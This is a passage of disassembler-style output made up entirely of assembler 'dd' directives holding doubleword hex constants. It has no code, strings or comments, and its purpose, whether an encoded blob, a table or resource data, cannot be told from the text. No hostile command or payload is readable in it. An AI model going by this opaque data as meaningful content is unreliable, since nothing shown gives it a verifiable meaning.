485380AFh dd 19F6168h, 5A272B24h, 20D70C56h, 0DB00EEF7h, 9D46748Ch dd 0F8E88A31h, 1F3D1CB0h, 653CBDB3h, 0E706EE00h, 89727A6Eh dd 63B26900h, 6DEAAC54h, 5A4A8Ch, 81E18FBCh, 7900EFB9h dd 0BC7116E8h, 0A124BEh, 0CEA68E91h, 3AB67532h, 2F38F7F0h dd 0F5318007h, 0EB2294E2h, 0CBC900EAh, 951C7BF4h, 42008D1Ah dd 0D80C935Dh, 7DDD67h, 0A43987BAh, 69FCD7E5h, 62736817h dd 64F29C40h, 761BAB61h, 0F8AA0048h, 36450134h, 2F00561Dh dd 92D28BFEh, 167EE6h, 0F78FC2B3h, 0DC5871F8h, 0D78ECB00h dd 89281872h, 103200DBh, 34373E88h, 0C490E45Bh, 0E7004A72h dd 0F97539F0h, 5EE18Dh, 7C8A1B68h, 487DB521h, 0B65B6A09h dd 23B600C0h, 32CCE67h, 63FEC99Ah, 0D59BB183h, 978CB11Ch dd 7400C7DFh, 1FF03A55h, 0E5AC0ED6h, 0D463E3C5h, 3FE0EC0Bh dd 10047A0h, 0E65A4CAFh, 352B0B9h, 43145F7Dh, 12C959D4h dd 7BB0EBC1h, 31002111h, 6E01130Ah, 0A70596h, 0A13AC5DBh dd 0DF2049B0h, 0D9E3E700h, 0EA74BBF3h, 40500977h, 68C08CBFh dd 0B00286Dh, 78A682D7h, 0FEB7E139h, 0F2F70043h, 17F32434h dd 0ECE27EB1h, 0FC0DA3Bh, 4097BF49h, 0BBFA9009h, 52BC004Ch dd 0CD783E15h, 88007FEFh, 955ABA3Dh, 2E0F6804h, 0F4CB8Dh dd 0B18F81B2h, 8254AE23h, 0EF1EB08Ch, 4A412CAAh, 0B881D5C2h dd 0A8807FFEh, 0D936B5C6h, 4E119803h, 0D8489440h, 0F1DD3Bh dd 0FF57B22Bh, 0E71314D5h, 0FEDF7E00h, 77D63365h, 26FC00C5h dd 94EDB89Ah, 583B0D6Dh, 0E900FD48h, 0C8876751h, 4029B3h dd 24526D6h, 2C82890Ah, 99944C00h, 0F3424AEDh, 0A00503CAh dd 0A8D8B445h, 3774D3C8h, 0DE00349Eh, 77653868h, 74274D2Fh dd 0FE709D02h, 948246D0h, 0F4803B74h, 1CFD68Ch, 823D9C12h dd 0CA2C9300h, 3ECB4BC9h, 0BFA6441h, 25EFED4Ah, 0A709E400h dd 0B800A17Eh, 0AF8E84C6h, 3F6AFC73h, 93814E60h, 0CF51135Dh dd 0AD2CCEFh, 40CE610Bh, 30330298h, 0EAC8E2Dh, 11E8C08Ah dd 4B1B1945h, 79F400D5h, 10280F7Ch, 0A50EE498h, 7EC399DBh dd 452002C6h, 0B7BA00B0h, 67F5B01Ch, 47050508h, 4B55BB7Fh dd 212B8C90h, 0A01400AAh, 0D97559D2h, 0EF0094C4h, 0A6A7BE0Bh dd 98DBD5C6h, 13E800F6h, 9C44E9ABh, 0F31EBFECh, 335EACC7h dd 8EFBB3C1h, 0BDE4F453h, 0DB150E76h, 2E80D02Dh, 0A4930A03h dd 0A029FA6Eh, 0E279F6DCh, 78201CAh, 12BAF547h, 0B7F07FFCh dd 0D2330072h, 377797A4h, 0AB00B8E6h, 60C6120Ch, 273B8Bh dd 3102A7Ah, 824AADEh, 84B4671Dh, 3D13EC40h, 0BBDAC4h dd 4703484Dh, 0EE70C0CCh, 406D100h, 1842A60Bh, 0DC6B0192h dd 7DD80D54h, 0E685F436h, 0AF110F00h, 0B822A3F2h, 1D2C3D89h dd 3C7DCC80h, 0A6CDB2DFh, 75B13400h, 4B5A7E65h, 48ED0047h dd 4629D33Ah, 260030CAh, 0C7460D9h, 1870BAFh, 5FFEF1D1h dd 0F822B908h, 0A63CEE32h, 0AE7002A5h, 0E0EC5A8Fh, 6BE96Fh dd 0B53F0762h, 55D77CDDh, 6B0A417h, 0E16DEF01h, 0CAF04870h dd 81A53DD2h, 8900E0B8h, 0F27892ACh, 8E1C96A4h, 930082E7h dd 0FEA1AD1Fh, 91800AB3h, 7F6BB13h, 50363F03h, 8CA35BC7h dd 392F7E00h, 51010225h, 0A70F00FFh, 8D9E741Dh, 7E3920CFh dd 0D7BA6Fh, 33A46282h, 0B9D132h, 0C6C23144h, 17C8FB16h dd 42AF1200h, 9993C0B7h, 50E70081h, 8BE92D47h, 0A00795D6h dd 1AAF20AAh, 5E8E3FF0h, 65360039h, 3C7A9D7Ch, 9A00B5EFh dd 41F1761Bh, 0D9C8B1h, 790212B4h, 29992B37h, 0A8FD4A31h dd 0F02A397Eh, 70008292h, 9C91A9B5h, 18F8ED44h, 284FFD69h dd 20C8571Eh, 0F741FC5h, 0A64165ABh, 8371FE7Dh, 0C0D0F538h dd 6108B802h, 91FB00DFh, 0E9C92188h, 28004967h, 0F27B1AF8h dd 73A1E036h, 0F3F032h, 48997AE6h, 65FB4D06h, 0A3B4C000h dd 7328BF55h, 0ECCE0BB2h, 0AB0102A6h, 20EFD5A7h, 0E075099h dd 48FF5D8Eh, 2201544Ah, 916703D6h, 583E2080h, 5A734637h dd 36BFAE18h, 0A7488A8h, 507FD8Ah, 29943AD4h, 6881882Ah dd 0F0158E20h, 9148D72h, 7A1408FFh, 33B5A000h, 123FC902h dd 7EDE74A5h, 26150063h, 0E94F7F30h, 100AE7Ch, 28B5A2F1h dd 810D9Bh, 7F9206A4h, 0E3463F8Ah, 0E0491100h, 0F6486F3Eh dd 33D9053Ah, 514AE7h, 494D2BD8h, 0C40370AAh, 43F02E66h dd 4A0AF061h, 0A96303E8h, 7795611h, 9C1D983Ah, 2E0377DEh dd 24065258h, 80447A09h, 7DE713Dh, 0D01E113Ah, 7D80408Dh dd 5F32BAA2h, 37E31850h, 0FBA8E002h, 4F867900h, 4BAAD38Fh dd 8E61D38h, 5294169h, 0EC0E7BBDh, 7E0F1896h, 0C790D4FEh dd 400CEEE3h, 8D100022h, 0B26574BCh, 0BD3A8279h, 0A0462AA9h dd 8B874500h, 0ACDE39F7h, 0E4B00080h, 1C26364Bh, 0D112B27Ch dd 0D11DB75Ch, 1BB179C0h, 15195B2Ah, 0D0E84959h, 46805128h dd 0DE640720h, 0C7A80DD4h, 0C600F854h, 0B929DE9Ch, 153C0024h dd 4ED77BA7h, 9B18C0F7h, 0DC84B48h, 143D86E7h, 8574088Dh dd 401F64B8h, 498D2AE9h, 99A70072h, 881CCF8Bh, 52789694h dd 4702FE0Eh, 0E729C055h, 485E7CD5h, 0B18030D9h, 372FAEBAh dd 1825903Dh, 130888CCh, 9A20C031h, 0C6E0AE94h, 0F55BE91Fh dd 5F3669C1h, 0F1808457h, 8A813AF0h, 70BD1052h, 9F937DD0h dd 69430C80h, 9928250Dh, 1E0A94E7h, 0A005652Ah, 0E5C20400h dd 0E4FCEA7Bh, 0C7F72667h, 8A5E0034h, 18BF9778h, 9ACA3500h dd 0F5E1AE02h, 0BEA200F6h, 0FB4E5375h, 0E30392B9h, 7443F26Bh dd 0F57EC039h, 9A7900A0h, 131F32D8h, 9301D97Ah, 0CF6781ACh dd 0D7D810ADh, 3E80024h, 0DCB9CDAFh, 5009422h, 5C558F97h dd 6FA39D2Bh, 0F8A020F3h, 19A79CFAh, 277A1500h, 63CF26D7h dd 0F7F21E7Eh, 2129309Ah, 0FF7976A9h, 8900EC7Ch, 2B7327A3h dd 31620B6h, 61228D24h, 0B4D84E8Bh, 0E1F28EEFh, 90ED3F01h dd 71F05938h, 0FE53E4F0h, 0EE270AE6h, 0C4534h, 3B06E593h dd 7F7B8096h, 8052BF33h, 0D7F098D9h, 40D1DC21h, 7B877F36h dd 9C300A8Ah, 232219A0h, 18681E83h, 31E0B0F3h, 0A770296Bh dd 0E13F0100h, 0C2768AE6h, 0DB3A58E7h, 8073151Dh, 0FE30BCFFh dd 93001248h, 0AEBD367Eh, 0FBF2B4C9h, 3CD03D0h, 0BEF5C528h dd 0B0C1CA26h, 0ED18879Ah, 25F01C15h, 651A3A7h, 9DB971D4h dd 30C40C0h, 28D29701h, 6EDE0EBFh, 0BCC31FB6h, 2003F4ECh dd 39A6DCE5h, 25691FF3h dd 8498C080h, 0A3F1C47Dh, 61A11106h, 4490AF77h, 2800F28Fh dd 89A9A4ABh, 0EE7C026h, 0E8517EBFh, 0E5B0C980h, 250698FEh dd 1CFFE692h, 0B90E2618h, 0F51E0CE9h, 6306C930h, 99927FFDh dd 4F7E3020h, 0FCF21641h, 57CE3500h, 86AEAB2Dh, 3CC054Ah dd 8CBDA8Dh, 2780A880h, 0DDF64FF2h, 4091604Ah, 8E5A5629h dd 0FD0D1E03h, 6720157h, 9BCE9818h, 8D0038ADh, 0A2A97D88h dd 0E839370Dh, 297766CFh, 242AA801h, 7CF09C9Ah, 229D900h dd 76AEFCFAh, 0D4E702BDh, 0D0FFD261h, 3F8DC880h, 3301144Ch dd 893934FEh, 0D9855F20h, 5CD7D098h, 0A4BD149Ch, 78899A30h dd 65000EF5h, 0F656FA81h, 0CEAC187h, 9F23C559h, 82001881h dd 0DE04691h, 0A158907Fh, 12D9A6E0h, 2AC9209Ch, 0C62C067Ch dd 0E9F286EAh, 961E3C18h, 54704E29h, 29119CAFh, 8EC6C7Ah dd 0D500AEC3h, 6ADD3A22h, 0B8D700F8h, 0B263841Fh, 8F015BA1h dd 722F4D49h, 0D08CE655h, 5639B8B4h, 5A280A00h, 6688FBD8h dd 0E3A00712h, 0E0639290h, 0E07014A1h, 2251B9C2h, 608408E8h dd 8FEAF5EDh, 0A758BA00h, 0E9AA1A41h, 0AF14249Eh, 222C084h dd 0D0639AE8h, 1E4E10h, 29BBED19h, 0A64DE39Ch, 48AE663Fh dd 20E43014h, 2A3C8804h, 0EC849B7Ch, 0CDA00EF9h, 0C0446136h dd 824E430Fh, 0A6511475h, 638DB053h, 9ABAD321h, 586D9821h dd 0CC0BC4h, 1DEBA5FFh, 0B413D647h, 64E270A0h, 8CF44100h dd 0A5C4B342h, 0F2210097h, 0CAF3D4CBh, 0DC281D8Eh, 0DF078CAFh dd 43636BC1h, 736853D1h, 44961110h, 0D0DC2B30h, 92D1F19Eh dd 28F8800Ch, 0ECFA1A35h, 0E8A72111h, 7A3E40BEh, 0D9C476D2h dd 56227770h, 98880016h, 45255404h, 0E0246A2Fh, 9991B44Dh dd 0AE53A212h, 7080C61Eh, 0C14638E3h, 354E001Eh, 18E5E0CFh dd 6B31593Ch, 0FD24D036h, 97BDA980h, 9E0EC854h, 0D6376A06h dd 7791AA8h, 0A7D4B516h, 94699056h, 2C640484h, 569C41h dd 41186A8Bh, 7101BE7Dh, 46B7F7CCh, 24304080h, 73531A29h dd 0B0C0A9A0h, 0C126C483h, 704048B4h, 323EE8Eh, 356BA791h dd 81007A57h, 1B6F9BCAh, 4D7C3FA5h, 497B5477h, 81004C9Dh dd 0B32A5186h, 0F6E48A08h, 9010B804h, 0FC8034D1h, 91570FE5h dd 0EF5A6068h, 2C02312Dh, 0F35BC09Ch, 92E37FDAh, 9958797Eh dd 81D73A4Fh, 0C985C5Fh, 84349CDBh, 0BA4D8853h, 0F687E90Fh dd 0C6C7E0FDh, 10F5B0C4h, 50DE0232h, 98A2EB08h, 0BEDA8400h dd 90A67D8h, 88CD3E95h, 2604F600h, 90421CE8h, 15B239CEh dd 2D02B138h, 36872530h, 65475464h, 9B1B4E08h, 49221C28h dd 91AF9896h, 4103324h, 9888B97Ch, 1D211FF7h, 2BDF03F5h dd 0D480510Eh, 0E8933063h, 0BDA4CE81h, 8C502402h, 6883679h dd 0A64F20D2h, 90C9516Ah, 0DF0C204Eh, 0B383935h, 4D56DD9Ch dd 30D3F60Eh, 68799180h, 1062EFh, 938485E4h, 90BA8305h dd 13989188h, 7908207Eh, 6309DE47h, 98055DBEh, 61744E1Ch dd 0D9DF4985h, 0CBE67061h, 8874F9D4h, 0B97280D4h, 15DB0A7Fh dd 10A278B1h, 0B0D3CB02h, 44C919AFh, 994D145Ch, 0F780AC7Eh dd 58CFD67Dh, 0E60984Dh, 8ACC049Eh, 9C9128EDh, 2D9D400h dd 5C6D3938h, 0A89B4607h, 8042A64Ah, 64D06AE3h, 0BF0C0078h dd 0B6616842h, 0D808045Bh, 0A213F46h, 0B0B4277Eh, 0A7B31D5Ah dd 19016500h, 9325F383h, 549F4A5h, 802F25Ah, 0C59C20B4h dd 9D008434h, 9C1F87FBh, 0F1EBE2ADh, 1E35A5D0h, 95050Ch dd 859FC586h, 0D806FD43h, 2632FFC6h, 0AA8B015Ah, 0D6DC9E6Dh dd 0FEADD07Bh, 46C97901h, 71F6E87Eh, 63A73AF4h, 88CB2810h dd 20703130h, 34C9923h, 0C4263F28h, 780DAB0Ch, 297BCBBAh dd 0B8A144E4h, 3C34EC30h, 3FC687Eh, 6F56763Eh, 28761A5Bh dd 44A5D305h, 48084A1Eh, 1DE080D7h, 378114C2h, 1103157Ah dd 2F686B36h, 7420715Dh, 38B06172h, 10BD07B1h, 0DFA3CDD4h dd 605B1890h, 11C0AECAh, 74208658h, 0D51900EDh, 8365330Ah dd 0CB14B6A3h, 30A02DA2h, 437E58AEh, 3886E39Fh, 4035C58Dh dd 7C030CF8h, 0B78F65D5h, 24E321h, 8C82FC19h, 0C0E865Bh dd 9C8FAA01h, 1BD4179Ah, 0DC337FECh, 729B08A9h, 7EB05118h dd 0C04E783Fh, 0D0333C69h, 0D4783BFCh, 0E2187163h, 68210034h dd 0AFECE53Fh, 0BE30E62Eh, 0F1D4B07Ah, 3EE1C0AAh, 6E59057Dh dd 7C3B0E18h, 89711860h, 0C508865Eh, 7231B5C8h, 0A1E66Ah dd 0E96F09DCh, 89D446A8h, 133E6C00h, 42FEC9C5h, 18F400F1h dd 340C087Ch, 0F8AAFBB5h, 40810C84h, 2F4A701Ah, 0DFC901F1h dd 0D3ACEEF0h, 1960489Bh, 28FD2E04h, 8982C2C4h, 39184627h dd 0B39F43C6h, 1FEC9EDCh, 0DB5220A7h, 73B700ECh, 6417BCE8h dd 0F33418A8h, 0F8C4594Fh, 0E71FA700h, 0EB0177B3h, 2CAF2A44h dd 70D02280h, 22D4BA40h, 3E09A2C6h, 26915801h, 3F2927A0h dd 888096E5h, 94193829h, 0C5006CC7h, 0D1EF90C2h, 30167C89h dd 0D9845EBh, 0E3545F5Ch, 1491CBF0h, 5264B900h, 24F8AE98h dd 41589D77h, 493B2B7Eh, 0B512F4F8h, 88542D24h, 0BAE25B84h dd 0C551090h, 7F3E90CCh, 504F00B4h, 823719EFh, 0ED54A553h dd 0B51F4490h, 32835492h, 1D43D91h, 70ED4258h, 3BEEB20Ah dd 132DC609h, 6008D63Ch, 995341ACh, 0B80A2454h, 8C80C8CAh dd 0DFCD6C80h, 3D7DBBEh, 92DE66F8h, 0DF5FC5h, 93E0A742h dd 0C4603824h, 545A516Ch, 0F18784C6h, 0F20B5600h, 7FF41A00h dd 0F56477EDh, 553330Dh, 0B01ED331h, 0E5C236E3h, 443E7D3Bh dd 0F0441588h, 3433A8D3h, 11003659h, 17EF6382h, 9B7BB993h dd 0B108011Ch, 0EC2924ABh, 4E04D484h, 0E8E7A007h, 0A4250882h dd 888D3B4h, 0B3211BC5h, 63C0B1FEh, 6E054BF1h, 3330BF93h dd 0B38D1842h, 0D414843Ah, 24212D85h, 30533B33h, 42310257h dd 0C4EDB1F2h, 18007444h, 1930A148h, 13078A69h, 607C38A6h dd 0DBB5F1C4h, 39C8530Fh, 0F30D01EFh, 444C323Eh, 0EE7A0206h dd 0F89E161Ch, 50551869h, 0BB2444A8h, 904894AAh, 0AD01023Eh dd 3BC0E5F2h, 0C712B2C9h, 0BA8A8084h, 366B8EC0h, 487F0Fh dd 0AA7D17F6h, 3E93CD19h, 0B9B7F1C4h, 0AB53B142h, 22E22849h dd 292800C4h, 75B6ED69h, 0F17002BCh, 7BD3C1A9h, 80F81907h dd 3E9DFF8Dh, 0F0240CA3h, 3844C072h, 8B5FAE41h, 0B459A01Dh dd 0AC13A345h, 11EECAh, 8B79A884h, 4163DC4Ah, 775F5A05h dd 880A0A31h, 460174CAh, 73572809h, 3E06BE9h, 22D90061h dd 0F37E05B9h, 0BD0A364Dh, 0E4B83F9Ch, 0C853DC8Ah, 0A68F8Bh dd 14496F00h, 2C724D2Dh, 62E43F24h, 0C001116Dh, 0F424AF33h dd 24D42D0h, 0AC610E6Ch, 19EC663Ch, 0A943C3C5h, 9B02104Dh dd 0A6350064h, 2479BD0Bh, 0C958FE7Ch, 714B8060h, 7193E9Fh dd 7354452Ah, 975D5734h, 44F4C580h, 9DDEC8h, 97736BF5h dd 7E8D004Ah, 85532C06h, 992CAE35h, 89648D2h, 9CA99C31h dd 2B484418h, 16AC8824h, 21D420CBh, 3500FD79h, 366527F3h dd 4FC659h, 422343EFh, 7299FFECh, 559140B3h, 2EAA5311h dd 110064E2h, 0F8E786D5h, 39627420h, 52014453h, 0F310D97Dh dd 61D180ECh, 65A1338Ah, 39121F4Ah, 0DB4F0078h, 13FB09C8h dd 0BAB0A654h, 0B1897499h, 704A8DB5h, 700D026h, 0C1361387h dd 80A8C7A9h, 3E88A4CFh, 24D27D26h, 0E0E833BCh, 434634EDh dd 0DDAE34A8h, 594C2B35h, 0B1E1D70Ch, 5BFB3C95h, 0EBBFCD80h dd 3274C9AEh, 0E998D300h dd 6F5F7567h, 89ADB07Dh, 84249290h, 8C308833h, 0F8C64F00h dd 0F3202982h, 0C0495526h, 23454042h, 0B93FA6CAh, 9378814Dh dd 4727DE24h, 5F80F862h, 0FE250FC0h, 21CB6600h, 5340A096h dd 854A0058h, 7FFC5627h, 0AD49CEEEh, 704C84h, 1F8F4CF1h dd 0C3DE321h, 120FC851h, 499DC21h, 2681E100h, 0F8A3E5h dd 886C9EDh, 0EF9897C1h, 3140612h, 4325C830h, 11FE0045h dd 7BAF1BDCh, 330097BCh, 37E6D576h, 0FB56A4DEh, 20468852h dd 83863861h, 48C8B024h, 7AC0104Bh, 22D81F34h, 4944C025h dd 0F2702DFCh, 63459409h, 0C90AA97h, 64C20D65h, 23C623BAh dd 0DF294900h, 36D52DFDh, 0CF380209h, 49588662h, 0C23BA0E0h dd 0B31BD207h, 0FE206BEEh, 0B21C5278h, 0A7CA30BCh, 13ABA351h dd 0C8C0812Ch, 76B7EE41h, 26370860h, 62044A33h, 1CC472AEh dd 0DCAB3E2Eh, 49272B44h, 22CA9441h, 24D20364h, 900CF18Dh dd 25B51C6Ah, 822432Ah, 910A1FCh, 33A0C463h, 42C4D146h dd 22441150h, 497CA862h, 1C4D4443h, 0F0987C94h, 0E102FCE4h dd 8572EB92h, 0BC8CE33h, 275DE5F4h, 81B0E088h, 7C33542Ah dd 5918E357h, 3E39F4A8h, 6B183F76h, 7BCBA08Bh, 24F98030h dd 23529000h, 32975A80h, 0F727204Ch, 0BF54B118h, 28EDC551h dd 0B198C1CEh, 885CA440h, 0DC8C2429h, 0E8C759E1h, 0D54500AEh dd 223E3705h, 0ACA9FD7Eh, 78921080h, 7FB70082h, 39F23432h dd 90012C74h, 8E38C358h, 0F477C07Ch, 17F59700h, 6E835EB6h dd 568B4CA8h, 7E48A14Dh, 0F0DC5C86h, 33E13780h, 0D4008D04h dd 87E0C6DEh, 94C98D7h, 0AAD08EB5h, 5E00B046h, 7F5D95FAh dd 16544288h, 22C212F0h, 3E205890h, 5DF33B34h, 22D39CCEh dd 7D20B39Ch, 309BFDBh, 0CE26ABF9h, 9CB810A0h, 57186660h dd 44B82556h, 2F0A42Ah, 0CF6A6E0Dh, 0B89838A8h, 0A1C082CBh dd 0EAB73EE9h, 55C738F0h, 48F8A193h, 3383BF10h, 0A9095EB2h dd 283922DDh, 313D7E17h, 15D426F8h, 80A6D8C4h, 2E2C7B00h dd 408631EAh, 1063022Eh, 19885579h, 10A5A9FBh, 3B12734h dd 37C37E0Eh, 98B477F3h, 0BB452A1Ch, 42F21C30h, 0BB138157h dd 1BCCF85Ah, 21A1D2CFh, 0CCB161F8h, 51008050h, 1FB37FD0h dd 43679C1h, 10B8B27Eh, 5108D0AEh, 0E90B057Ch, 922A7D3Bh dd 405C8824h, 78212512h, 56137B50h, 91993A88h, 616C2117h dd 9AD49C49h, 3D06664h, 6C3DCE41h, 0FCB061EAh, 0AD009F6Fh dd 0D2DAB1FDh, 89A4E714h, 9A5E0819h, 928D0934h, 9464D588h dd 60F14409h, 0B074882Ch, 11B1D062h, 435B1282h, 1490F7F8h dd 4DDF4A11h, 2A2E3CDDh, 0C6D6088h, 60A11BB2h, 3AB110A3h dd 18F09198h, 0B6AA2190h, 0C07ECB88h, 0E929AE69h, 0E4A08006h dd 0F9064BD4h, 0CA7E3D64h, 840D5C70h, 85FEB7C0h, 83002470h dd 467EE1FDh, 1490F6Eh, 0C361CE1Ch, 623D7D68h, 0A96511A8h dd 277F0171h, 0A353929Ch, 0D8804474h, 750061B8h, 13032067h dd 829D16F0h, 3BB20040h, 944EC94Eh, 2A8EA0E0h, 0FC380698h dd 0A000B2C6h, 122DB5D8h, 0C87D01E7h, 880ACFE0h, 20705DBAh dd 30CD3F12h, 84B80Ch, 0DD3F6A3h, 929B371Fh, 7030D441h dd 8A8C91B3h, 85ACA8E2h, 83354F10h, 69881573h, 54043AECh dd 4B472DBEh, 435B2B80h, 9C99DBh, 0F0B241D4h, 7073B35Eh dd 50F3461Ah, 66860A9h, 0BA3C40A0h, 2512A491h, 23E1C98h dd 7C06B53h, 5C422EC7h, 14988072h, 96FA0E02h, 0C4A1B805h dd 0BCDB3110h, 40BEFFB1h, 45B1D389h, 0BDD9F21Bh, 7641DF71h dd 53E00656h, 93690C75h, 0C561EBE6h, 0B298F20Bh, 388C48F3h dd 0D97104h, 62C9FB82h, 52483D73h, 1FA3EA00h, 0FCB3912Bh dd 9C7C5C27h, 0AA82B288h, 40CE1696h, 0C0F4F679h, 0CA25C4ACh dd 0A1024D21h, 8BA25FEDh, 1D04723Ch, 112A577Eh, 0B20107ADh dd 0C5D21E7Ah, 44244486h, 0F5FEA2B5h, 0DE23A90Bh, 18F699h dd 8D07622Fh, 203A4A63h, 5500F87Dh, 0A251FB40h, 0F054EBF6h dd 0C4033044h, 0E4B6FC08h, 6DB7500h, 0D60562CDh, 300E6310h dd 80072B8h, 786D3355h, 0CCF292D0h, 7A21DC40h, 72D84E88h dd 94B23BC1h, 0B3F56A00h, 0FA7E950Dh, 8F278CEh, 1EB19163h dd 0ED43C097h, 0C32EE3E7h, 0D183F40h, 39207336h, 0B8220F42h dd 3C8FB4Ch, 29FD4796h, 0E49001E2h, 618628CBh, 5430BC69h dd 0A101F570h, 8217740Ch, 0D1C45A26h, 5C110348h, 0CAE9AE1Bh dd 76731DC0h, 1C445701h, 0DBAFB5D6h, 5C4A0C8h, 16371052h dd 0B9C40E3h, 1BB46A8Bh, 52EC2939h, 0D5440ACh, 605F4028h dd 8090C455h, 0F4AE3511h, 28ABDFF2h, 743DB2h, 83130B6Fh dd 0D55DA656h, 67DD1200h, 0D96C27CAh, 7F2400E8h, 58848369h dd 0E419251Ah, 0FC716574h, 0E82F36D8h, 0A28B22BAh, 10AA8081h dd 74F7BC5h, 0F45324E9h, 746DA02Eh, 3763E15Ch, 0E063C38h dd 0D5A39189h, 0CAE70D40h, 8D159731h, 22C046A6h, 28B80EC0h dd 0F900D05Eh, 0A9C36D36h, 6E248403h, 1FA991Dh, 2659A3E9h dd 50752BAFh, 6084D1ACh, 11D3D0ABh, 3C0554CAh, 0C25E8420h dd 0A710095h, 0BA7408A0h, 271F479Ch, 0FC06DA9Eh, 7E01C2Bh dd 0D1154235h, 1646A0D6h, 19C0CE1Ah, 70F3498Dh, 324801h dd 90974B81h, 9560F8E9h, 3D121DF2h, 14406AE5h, 0E7699368h dd 357D06B6h, 38622816h, 21718A00h, 14B4326Bh, 82E9006Fh dd 46FAB931h, 8A156A20h, 11BC4F37h, 171577DAh, 0F43ACC91h dd 0E4AF2300h, 0B98112C3h, 80F0E96Fh, 0F3F03174h, 482215C1h dd 6A24D8FCh, 1541A640h, 90768856h, 3771308Ch, 5277DDD8h dd 1204113Ch, 0A4206374h, 0C42EDEBAh, 80F6CF49h, 56647554h dd 4CE421DEh, 415A2A88h, 254CAF7h, 3A048F3h, 6331C0D3h dd 0A5273F36h, 58C4C500h, 59F2EA4Fh, 0A48D01D5h, 1AEED64Dh dd 7C0D70B9h, 0BC7E3814h, 921785A8h, 0BB198043h, 7B280A4h dd 0D4232801h, 0F3757FACh, 0DD716981h, 8C829F34h, 19D203F8h dd 13C501A1h, 8BFF6AC9h, 3ACC3002h, 6105FEE0h, 54EC88A8h dd 6C105C12h, 43C8694h, 9D7000E1h, 1CC4B5AAh, 806D759h dd 0F9E93E79h, 325D4429h, 0FFFA048h, 0FB3FAF0Dh, 9938B258h dd 0F408FB94h, 64321781h, 0EC25AB00h, 8767DCD0h, 0FE2B9906h dd 4CD82FB9h, 29809CBEh, 0F05C166h, 5B97A091h, 2A8701FFh dd 0E82D74B3h, 0C15C0DE4h, 0ECCA0281h, 91E69691h, 8183FAA8h dd 9270ADD4h, 0DF3CA4C0h, 45AF752Ch, 615B0403h, 0B00CCD99h dd 12B040E4h, 4A83C0F0h, 408C3EBCh, 0B7A74066h, 0FEC2F11Ch dd 0E692AB40h, 62E9F69Ch, 62D7719Fh, 0B3B9CA00h, 158C0065h dd 325057F7h, 0B67BE907h, 2EB47202h, 6446D4D5h, 6D1B00C0h dd 0BAFB16DAh, 80A876BDh, 46009302h, 0FADDAD99h, 0C812589h dd 0C9F6A075h, 0F94D11D9h, 10493244h, 666048F7h, 5C3C889Dh dd 774CC1C0h, 9B333F69h, 1337835Ch, 3DF1EA1Bh, 9390D85Bh dd 1138B649h, 0BA16C48Eh, 175821D0h, 8DE450E4h, 3CF002C3h dd 4986EF01h, 2E0C2CFCh, 0E2DEBF01h, 0DF10F407h, 9EF98367h dd 36803823h, 9D893157h, 0BD18EA3Ah, 591A73Dh, 0FD0600AEh dd 87AF1263h, 6809F74Ch, 90673725h, 851B8E80h, 68C32F03h dd 0D4AFA89Ch, 0B9CE0074h, 652B0B01h, 372667C8h, 81AB06Bh dd 55FC49A1h, 0DC16E423h, 0A2D031F6h, 886022FAh, 69788E0Dh dd 0B20BBEC0h, 8501EF0Ch, 2BE6D92Ah, 0C8640E67h, 80CD54B8h dd 766804ABh, 93E3843Ch dd 591DF914h, 1D21A2Eh, 8B479A00h, 30FDEAC9h, 0A8561693h dd 0E8DC03BEh, 0C4C5D5h, 0CB3B8162h, 1F7E53CCh, 0CE7AEB67h dd 7F21FD48h, 52EF556Eh, 68AAF46Ch, 40A044F4h, 0FEDAF89h dd 0F20A0716h, 0D11E389Ah, 99F392B7h, 2C48C9A2h, 0D054400Dh dd 8F038D6Eh, 0E8F13707h, 0D9CFA082h, 0CE340FF5h, 5FE17B6Ah dd 2430AC0Eh, 801F49E8h, 9CAC364Ah, 0CF02501Fh, 23553AECh dd 63F2D393h, 4C0F00CCh, 0A0FF37E0h, 4E83BF29h, 0EC988Ah dd 6B4D421Ch, 0E884F0D1h, 0AF7F5CB2h, 0FDA7A309h, 0B688919Dh dd 0DCE0A611h, 9800C15Bh, 3F7D2680h, 3102D30Ah, 0E4794634h dd 0A03232h, 40ED6918h, 0B6D4EAh, 0BB39151Dh, 0FBFA5B85h dd 0D5B8F805h, 78C86E1Ah, 0D99009D1h, 7C904B4Fh, 0F7389EDAh dd 0E9F00160h, 0BE2DA3E3h, 320DE464h, 9295039h, 0F0A04448h dd 0F41374B9h, 92D43C20h, 4F8003FDh, 0B7627430h, 343CA128h dd 0C17B8D01h, 0FEDB9881h, 3CD9F455h, 3E2E86F0h, 3850D77Bh dd 10DD51BAh, 8876E800h, 85E27Ch, 0CC3D9203h, 153122EBh dd 0AB01F1E8h, 0BB96F9DAh, 4CD1B2FAh, 5E6060h, 0AA1F66A0h dd 0F1E9DEFBh, 31225430h, 87C712h, 0E1B050B5h, 1D48159Dh dd 6600C372h, 382AA17Bh, 0CBAAC4Eh, 0CB80C4EBh, 0BE0E5338h dd 0C05C9AC5h, 0F5190AA4h, 0E0A1F61Eh, 0B64205D5h, 1FB23635h dd 0E209150h, 9B796423h, 0CC33E150h, 7F6119B2h, 8ABE5423h dd 5D06401Eh, 4C250F2Bh, 53801194h, 0E3F49B2Eh, 9538DD66h dd 865A1830h, 711C4913h, 60CC5922h, 0E6DC6114h, 0B03B909Bh dd 2040304Bh, 0CF2BB91h, 0BE462152h, 0A031D629h, 0DBB2F07Bh dd 0C0B8A5E0h, 0BBC02859h, 1BE6BEFDh, 8D5E3C03h, 0E7B3C4h dd 0D1DA4E21h, 0F2C2593Fh, 4051A70Ch, 0F04B59BBh, 0FA29C0E1h dd 0E45BA934h, 4DD7B705h, 8C0EDC89h, 48AC4899h, 88DA0D48h dd 751ED020h, 18BD9E31h, 0A511357Ch, 36599E1Bh, 9EB7A140h dd 6F318Fh, 0CE9C3DB0h, 854F0709h, 2D88EA50h, 787F88h dd 69CD6EC3h, 0FDBEDACh, 680BB65h, 362C4400h, 0AC541C4h dd 905688FFh, 68DA608Ch, 0E4066F4Bh, 65352BEh, 4D30059h dd 87E80926h, 0AD12F714h, 44C8EA7h, 80B340F4h, 0B9C0E6A5h dd 0F604652Ah, 196FF401h, 567C533Ah, 83BFF375h, 0ECEA2C2Eh dd 89C75C41h, 22C88948h, 2C14352Ch, 49058C90h, 4C508B02h dd 2279F058h, 291F62DBh, 40463A23h, 0A5194642h, 6048911Eh dd 3800A386h, 3E68BB09h, 66FD0A2h, 0ACB16A17h, 0E44431B8h dd 2DEB0374h, 5339714Fh, 0A82C7900h, 83DB215Bh, 1031C8EAh dd 0AA3B00BDh, 6D15C879h, 2C9400E4h, 0D0027CACh, 0B5E86A51h dd 54F19563h, 0E4A1011Ah, 7286E6BBh, 